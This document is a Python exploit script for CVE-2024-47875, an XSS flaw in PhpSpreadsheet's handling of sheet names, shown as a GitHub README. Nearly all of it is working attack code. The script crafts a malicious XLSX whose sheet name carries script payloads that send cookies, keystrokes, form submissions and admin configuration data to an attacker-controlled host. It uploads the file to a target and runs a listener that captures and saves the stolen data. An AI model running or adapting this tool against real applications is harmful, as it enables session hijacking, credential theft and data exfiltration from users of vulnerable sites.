README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2024-47875 PhpSpreadsheet XSS Exploit
==========================================
Cross-Site Scripting vulnerability in PhpSpreadsheet's generateNavigation() function
Affects: PhpSpreadsheet < 2.2.2, < 2.1.2, < 1.29.4
CVE ID: CVE-2024-47875
GitHub Advisory: GHSA-79xx-vf93-p7cx
Description:
When converting XLSX files with multiple sheets to HTML, PhpSpreadsheet creates
a navigation menu using unsanitized sheet names, allowing XSS injection.
Author: Your Name
License: MIT
Repository: https://github.com/yourusername/CVE-2024-47875-exploit
"""
import os
import sys
import zipfile
import tempfile
import shutil
import requests
import threading
import time
from pathlib import Path
import http.server
import socketserver
from urllib.parse import parse_qs, urlparse
import datetime
import argparse
import json
import logging
__version__ = "1.0.0"
__author__ = "Roj"
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
class Colors:
"""Terminal color constants for better output visibility."""
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
BOLD = '\033[1m'
RESET = '\033[0m'
class CVE202447875Exploit:
"""
CVE-2024-47875 PhpSpreadsheet XSS Exploit
This class provides functionality to generate malicious XLSX files
and exploit the XSS vulnerability in PhpSpreadsheet's sheet name handling.
"""
def __init__(self, target_url, attacker_ip, attacker_port=8000):
"""
Initialize the exploit with target and attacker details.
Args:
target_url (str): Target application URL
attacker_ip (str): Attacker's IP for callbacks
attacker_port (int): Port for exploit server
"""
self.target_url = target_url.rstrip('/')
self.attacker_ip = attacker_ip
self.attacker_port = attacker_port
self.temp_dir = None
self.server = None
self.server_thread = None
self.cookies_captured = []
self.data_captured = []
def print_banner(self):
"""Display exploit banner with vulnerability information."""
banner = f"""
{Colors.RED}{Colors.BOLD}
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2024-47875 Exploit ║
║ PhpSpreadsheet XSS via Sheet Names ║
║ GHSA-79xx-vf93-p7cx ║
╚══════════════════════════════════════════════════════════════════════╝
{Colors.RESET}
{Colors.YELLOW}Target URL:{Colors.WHITE} {self.target_url}
{Colors.YELLOW}Attacker IP:{Colors.WHITE} {self.attacker_ip}:{self.attacker_port}
{Colors.YELLOW}Vulnerability:{Colors.WHITE} Unsanitized sheet names in HTML conversion
{Colors.YELLOW}Affected Versions:{Colors.WHITE} PhpSpreadsheet < 2.2.2, < 2.1.2, < 1.29.4
{Colors.RESET}
"""
print(banner)
def create_malicious_xlsx(self, payload_type="cookie_theft", custom_payload=None):
"""
Create a malicious XLSX file with XSS payload embedded in sheet name.
Args:
payload_type (str): Type of payload to inject
custom_payload (str): Custom XSS payload if provided
Returns:
str: Path to the created malicious XLSX file
"""
logger.info("Creating malicious XLSX file")
# Create temporary directory
self.temp_dir = tempfile.mkdtemp(prefix="cve_2024_47875_")
# Define XSS payloads
payloads = {
"cookie_theft": f"<script>fetch('http://{self.attacker_ip}:{self.attacker_port}/steal?cookies='+encodeURIComponent(document.cookie))</script>",
"redirect": f"<script>window.location='http://{self.attacker_ip}:{self.attacker_port}/pwned'</script>",
"alert": "<script>alert('XSS via CVE-2024-47875 - PhpSpreadsheet')</script>",
"keylogger": f"<script>document.addEventListener('keydown',function(e){{fetch('http://{self.attacker_ip}:{self.attacker_port}/keylog?key='+e.key)}})</script>",
"form_hijack": f"<script>document.querySelectorAll('form').forEach(f=>{{f.addEventListener('submit',function(e){{e.preventDefault();fetch('http://{self.attacker_ip}:{self.attacker_port}/harvest',{{method:'POST',body:new FormData(f)}})}})}})</script>",
"data_exfil": f"<script>fetch('/admin/config').then(r=>r.text()).then(d=>fetch('http://{self.attacker_ip}:{self.attacker_port}/exfil',{{method:'POST',body:d}}))</script>"
}
# Use custom payload or predefined one
if custom_payload:
xss_payload = custom_payload
logger.info(f"Using custom payload: {custom_payload[:50]}...")
else:
xss_payload = payloads.get(payload_type, payloads["cookie_theft"])
logger.info(f"Using {payload_type} payload")
# XLSX file structure components
content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
<Override PartName="/xl/worksheets/sheet2.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
<Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/>
<Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/>
<Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/>
</Types>'''
main_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/>
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/>
</Relationships>'''
workbook_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet2.xml"/>
</Relationships>'''
# Malicious workbook.xml with XSS payload in sheet name
workbook = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<fileVersion appName="xl" lastEdited="7"/>
<workbookPr defaultThemeVersion="166925"/>
<sheets>
<sheet name="{xss_payload}" sheetId="1" r:id="rId2"/>
<sheet name="LegitimateSheet" sheetId="2" r:id="rId3"/>
</sheets>
</workbook>'''
worksheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<dimension ref="A1:B2"/>
<sheetViews>
<sheetView tabSelected="1" workbookViewId="0"/>
</sheetViews>
<sheetFormatPr defaultRowHeight="15"/>
<sheetData>
<row r="1" spans="1:2">
<c r="A1" t="inlineStr"><is><t>Sample</t></is></c>
<c r="B1" t="inlineStr"><is><t>Data</t></is></c>
</row>
<row r="2" spans="1:2">
<c r="A2" t="inlineStr"><is><t>CVE</t></is></c>
<c r="B2" t="inlineStr"><is><t>2024-47875</t></is></c>
</row>
</sheetData>
</worksheet>'''
styles = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<fonts count="1">
<font><sz val="11"/><color theme="1"/><name val="Calibri"/><family val="2"/><scheme val="minor"/></font>
</fonts>
<fills count="2">
<fill><patternFill patternType="none"/></fill>
<fill><patternFill patternType="gray125"/></fill>
</fills>
<borders count="1">
<border><left/><right/><top/><bottom/><diagonal/></border>
</borders>
<cellStyleXfs count="1">
<xf numFmtId="0" fontId="0" fillId="0" borderId="0"/>
</cellStyleXfs>
<cellXfs count="1">
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
</cellXfs>
</styleSheet>'''
core_props = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:creator>CVE-2024-47875 Exploit</dc:creator>
<dcterms:created xsi:type="dcterms:W3CDTF">{datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ")}</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">{datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ")}</dcterms:modified>
</cp:coreProperties>'''
app_props = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes">
<Application>CVE-2024-47875 Exploit Generator</Application>
<DocSecurity>0</DocSecurity>
<ScaleCrop>false</ScaleCrop>
<SharedDoc>false</SharedDoc>
</Properties>'''
# Create directory structure
directories = ["_rels", "docProps", "xl/_rels", "xl/worksheets"]
for directory in directories:
os.makedirs(os.path.join(self.temp_dir, directory), exist_ok=True)
# Write all files
files = {
"[Content_Types].xml": content_types,
"_rels/.rels": main_rels,
"docProps/core.xml": core_props,
"docProps/app.xml": app_props,
"xl/_rels/workbook.xml.rels": workbook_rels,
"xl/workbook.xml": workbook,
"xl/worksheets/sheet1.xml": worksheet,
"xl/worksheets/sheet2.xml": worksheet,
"xl/styles.xml": styles
}
for filename, content in files.items():
filepath = os.path.join(self.temp_dir, filename)
with open(filepath, 'w', encoding='utf-8') as f:
f.write(content)
# Create XLSX file
output_file = f"CVE-2024-47875-exploit-{datetime.datetime.now().strftime('%Y%m%d-%H%M%S')}.xlsx"
try:
with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(self.temp_dir):
for file in files:
file_path = os.path.join(root, file)
arc_path = os.path.relpath(file_path, self.temp_dir)
zipf.write(file_path, arc_path)
logger.info(f"Malicious XLSX created: {output_file}")
print(f"{Colors.GREEN} ✓ Malicious XLSX created: {output_file}{Colors.RESET}")
return output_file
except Exception as e:
logger.error(f"Failed to create XLSX: {e}")
raise
class ExploitHTTPHandler(http.server.SimpleHTTPRequestHandler):
"""Custom HTTP handler to capture exploit data."""
def __init__(self, *args, exploit_instance=None, **kwargs):
self.exploit = exploit_instance
super().__init__(*args, **kwargs)
def do_GET(self):
self._handle_request()
def do_POST(self):
self._handle_request()
def _handle_request(self):
"""Handle both GET and POST requests for exploit data."""
parsed_url = urlparse(self.path)
query_params = parse_qs(parsed_url.query)
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
client_ip = self.client_address[0]
# Handle different exploit endpoints
if parsed_url.path == '/steal':
cookies = query_params.get('cookies', [''])[0]
if cookies:
print(f"\n{Colors.GREEN}{Colors.BOLD}🍪 COOKIES STOLEN! 🍪{Colors.RESET}")
print(f"{Colors.CYAN}Time:{Colors.WHITE} {timestamp}")
print(f"{Colors.CYAN}Source IP:{Colors.WHITE} {client_ip}")
print(f"{Colors.CYAN}Cookies:{Colors.WHITE} {cookies}")
print(f"{Colors.YELLOW}{'='*60}{Colors.RESET}")
if self.exploit:
self.exploit.cookies_captured.append({
'timestamp': timestamp,
'ip': client_ip,
'cookies': cookies
})
elif parsed_url.path == '/keylog':
key = query_params.get('key', [''])[0]
print(f"{Colors.YELLOW}[KEYLOG]{Colors.RESET} {client_ip}: {key}")
elif parsed_url.path == '/pwned':
print(f"{Colors.MAGENTA}[REDIRECT]{Colors.WHITE} User {client_ip} redirected to attacker site{Colors.RESET}")
elif parsed_url.path == '/harvest':
print(f"{Colors.RED}[FORM DATA]{Colors.WHITE} Form submitted from {client_ip}{Colors.RESET}")
if self.command == 'POST':
content_length = int(self.headers.get('Content-Length', 0))
post_data = self.rfile.read(content_length)
print(f"Data: {post_data.decode('utf-8', errors='ignore')[:200]}...")
elif parsed_url.path == '/exfil':
print(f"{Colors.RED}[DATA EXFIL]{Colors.WHITE} Data exfiltrated from {client_ip}{Colors.RESET}")
if self.command == 'POST':
content_length = int(self.headers.get('Content-Length', 0))
exfil_data = self.rfile.read(content_length)
print(f"Exfiltrated: {exfil_data.decode('utf-8', errors='ignore')[:200]}...")
# Send response
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
response_data = json.dumps({
'status': 'success',
'message': 'CVE-2024-47875 exploit server',
'timestamp': timestamp
})
self.wfile.write(response_data.encode())
def log_message(self, format, *args):
"""Suppress default logging to keep output clean."""
pass
def start_exploit_server(self):
"""Start HTTP server to capture exploit callbacks."""
logger.info("Starting exploit server")
try:
def handler_wrapper(*args, **kwargs):
return self.ExploitHTTPHandler(*args, exploit_instance=self, **kwargs)
self.server = socketserver.TCPServer(("", self.attacker_port), handler_wrapper)
self.server_thread = threading.Thread(target=self.server.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
print(f"{Colors.GREEN} ✓ Exploit server listening on {self.attacker_ip}:{self.attacker_port}{Colors.RESET}")
logger.info(f"Server started on port {self.attacker_port}")
return True
except Exception as e:
logger.error(f"Failed to start server: {e}")
print(f"{Colors.RED} ✗ Failed to start server: {e}{Colors.RESET}")
return False
def upload_file(self, xlsx_file, upload_endpoint="/upload"):
"""
Upload malicious XLSX to target application.
Args:
xlsx_file (str): Path to malicious XLSX file
upload_endpoint (str): Upload endpoint on target
Returns:
bool: True if upload successful
"""
logger.info(f"Uploading {xlsx_file} to {self.target_url}{upload_endpoint}")
try:
with open(xlsx_file, 'rb') as f:
files = {
'file': (xlsx_file, f, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')
}
upload_url = f"{self.target_url}{upload_endpoint}"
response = requests.post(
upload_url,
files=files,
timeout=30,
headers={'User-Agent': 'CVE-2024-47875-Exploit/1.0'}
)
if response.status_code in [200, 201, 202]:
print(f"{Colors.GREEN} ✓ File uploaded successfully (Status: {response.status_code}){Colors.RESET}")
logger.info(f"Upload successful: {response.status_code}")
# Check if XSS payload is immediately visible
if '<script>' in response.text:
print(f"{Colors.YELLOW} ! XSS payload detected in immediate response{Colors.RESET}")
return True
else:
print(f"{Colors.RED} ✗ Upload failed (Status: {response.status_code}){Colors.RESET}")
print(f" Response: {response.text[:300]}...")
logger.error(f"Upload failed: {response.status_code}")
except requests.RequestException as e:
logger.error(f"Upload request failed: {e}")
print(f"{Colors.RED} ✗ Upload request failed: {e}{Colors.RESET}")
except Exception as e:
logger.error(f"Unexpected upload error: {e}")
print(f"{Colors.RED} ✗ Unexpected error: {e}{Colors.RESET}")
return False
def run_exploit(self, payload_type="cookie_theft", upload_endpoint="/upload", custom_payload=None):
"""
Execute the complete CVE-2024-47875 exploit.
Args:
payload_type (str): Type of XSS payload to use
upload_endpoint (str): Target upload endpoint
custom_payload (str): Custom XSS payload
Returns:
bool: True if exploit executed successfully
"""
self.print_banner()
logger.info("Starting CVE-2024-47875 exploit execution")
try:
# Step 1: Create malicious XLSX
print(f"{Colors.BLUE}[1]{Colors.RESET} Creating malicious XLSX file...")
xlsx_file = self.create_malicious_xlsx(payload_type, custom_payload)
# Step 2: Start exploit server
print(f"{Colors.BLUE}[2]{Colors.RESET} Starting exploit server...")
if not self.start_exploit_server():
return False
# Step 3: Upload malicious file
print(f"{Colors.BLUE}[3]{Colors.RESET} Uploading malicious XLSX...")
success = self.upload_file(xlsx_file, upload_endpoint)
if success:
print(f"\n{Colors.GREEN}{Colors.BOLD}🚀 EXPLOIT DEPLOYED SUCCESSFULLY! 🚀{Colors.RESET}")
print(f"{Colors.CYAN}Malicious XLSX uploaded and ready to trigger XSS{Colors.RESET}")
print(f"{Colors.YELLOW}XSS will execute when PhpSpreadsheet processes the file{Colors.RESET}")
print(f"{Colors.WHITE}Monitoring for callbacks... (Press Ctrl+C to stop){Colors.RESET}\n")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}Stopping exploit monitoring...{Colors.RESET}")
else:
print(f"\n{Colors.RED}✗ Exploit deployment failed{Colors.RESET}")
logger.error("Exploit deployment failed")
return success
except Exception as e:
logger.error(f"Exploit execution failed: {e}")
print(f"{Colors.RED}✗ Exploit execution failed: {e}{Colors.RESET}")
return False
finally:
self.cleanup()
def cleanup(self):
"""Clean up resources and temporary files."""
logger.info("Cleaning up resources")
if self.server:
self.server.shutdown()
self.server.server_close()
if self.temp_dir and os.path.exists(self.temp_dir):
shutil.rmtree(self.temp_dir)
if self.cookies_captured:
print(f"\n{Colors.GREEN}📊 EXPLOITATION SUMMARY:{Colors.RESET}")
print(f"Total cookies captured: {len(self.cookies_captured)}")
# Save results to file
results_file = f"exploit-results-{datetime.datetime.now().strftime('%Y%m%d-%H%M%S')}.json"
with open(results_file, 'w') as f:
json.dump(self.cookies_captured, f, indent=2)
print(f"Results saved to: {results_file}")
def main():
"""Main entry point for the exploit."""
parser = argparse.ArgumentParser(
description="CVE-2024-47875 PhpSpreadsheet XSS Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s http://target.com 10.10.14.100
%(prog)s http://vulnerable-app.htb 10.10.16.50 -p cookie_theft
%(prog)s https://app.example.com 192.168.1.100 -e /api/upload
%(prog)s http://target.com 10.10.14.100 --custom "<script>alert('XSS')</script>"
Payload Types:
cookie_theft - Steal session cookies (default)
redirect - Redirect users to attacker site
alert - Simple alert popup for testing
keylogger - Log keystrokes
form_hijack - Intercept form submissions
data_exfil - Exfiltrate data from /admin/config
For more information: https://github.com/yourusername/CVE-2024-47875-exploit
"""
)
parser.add_argument('target_url', help='Target application URL')
parser.add_argument('attacker_ip', help='Your IP address for exploit callbacks')
parser.add_argument('-p', '--payload',
choices=['cookie_theft', 'redirect', 'alert', 'keylogger', 'form_hijack', 'data_exfil'],
default='cookie_theft',
help='XSS payload type (default: cookie_theft)')
parser.add_argument('-e', '--endpoint', default='/upload',
help='Upload endpoint path (default: /upload)')
parser.add_argument('--port', type=int, default=8000,
help='Exploit server port (default: 8000)')
parser.add_argument('--custom', help='Custom XSS payload')
parser.add_argument('-v', '--verbose', action='store_true',
help='Enable verbose logging')
parser.add_argument('--version', action='version', version=f'%(prog)s {__version__}')
args = parser.parse_args()
if args.verbose:
logging.getLogger().setLevel(logging.DEBUG)
# Validate inputs
if not args.target_url.startswith(('http://', 'https://')):
print(f"{Colors.RED}Error: Target URL must start with http:// or https://{Colors.RESET}")
sys.exit(1)
# Create and run exploit
try:
exploit = CVE202447875Exploit(args.target_url, args.attacker_ip, args.port)
success = exploit.run_exploit(args.payload, args.endpoint, args.custom)
sys.exit(0 if success else 1)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}Exploit interrupted by user{Colors.RESET}")
sys.exit(1)
except Exception as e:
logger.error(f"Unexpected error: {e}")
print(f"{Colors.RED}Unexpected error: {e}{Colors.RESET}")
sys.exit(1)
if __name__ == "__main__":
main()